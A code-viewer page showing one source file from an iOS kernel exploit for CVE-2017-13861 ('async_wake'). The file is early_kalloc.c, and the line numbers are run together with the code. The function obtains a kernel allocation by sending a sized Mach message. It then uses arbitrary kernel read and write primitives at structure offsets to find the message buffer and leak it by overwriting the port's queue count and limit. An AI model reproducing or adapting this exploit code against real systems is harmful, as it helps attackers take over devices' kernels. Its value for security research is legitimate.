Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/early_kalloc.c
Views: 11780
//1// early_kalloc.c2// async_wake_ios3//4// Created by Ian Beer on 12/11/17.5// Copyright © 2017 Ian Beer. All rights reserved.6//78#include "early_kalloc.h"910#include <mach/mach.h>11#include <stdio.h>12#include <stdlib.h>1314#include "kmem.h"15#include "koffsets.h"16#include "kutils.h"17#include "find_port.h"18#include "common.h"1920#include <CoreFoundation/CoreFoundation.h>21extern void NSLog(CFStringRef, ...);22#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)2324// get a kalloc allocation before we've got a kcall interface to just call it25uint64_t early_kalloc(int size)26{27mach_port_t port = MACH_PORT_NULL;28kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);29if (err != KERN_SUCCESS) {30LOG("unable to allocate port");31}3233uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);3435struct simple_msg {36mach_msg_header_t hdr;37char buf[0];38};3940mach_msg_size_t msg_size = message_size_for_kalloc_size(size);41struct simple_msg* msg = malloc(msg_size);42memset(msg, 0, msg_size);4344msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);45msg->hdr.msgh_size = msg_size;46msg->hdr.msgh_remote_port = port;47msg->hdr.msgh_local_port = MACH_PORT_NULL;48msg->hdr.msgh_id = 0x41414142;4950err = mach_msg(&msg->hdr,51MACH_SEND_MSG | MACH_MSG_OPTION_NONE,52msg_size,530,54MACH_PORT_NULL,55MACH_MSG_TIMEOUT_NONE,56MACH_PORT_NULL);5758if (err != KERN_SUCCESS) {59LOG("early kalloc failed to send message");60}6162// find the message buffer:6364uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));65LOG("message buffer: %llx", message_buffer);6667// leak the message buffer:68WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);69WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit7071return message_buffer;72}737475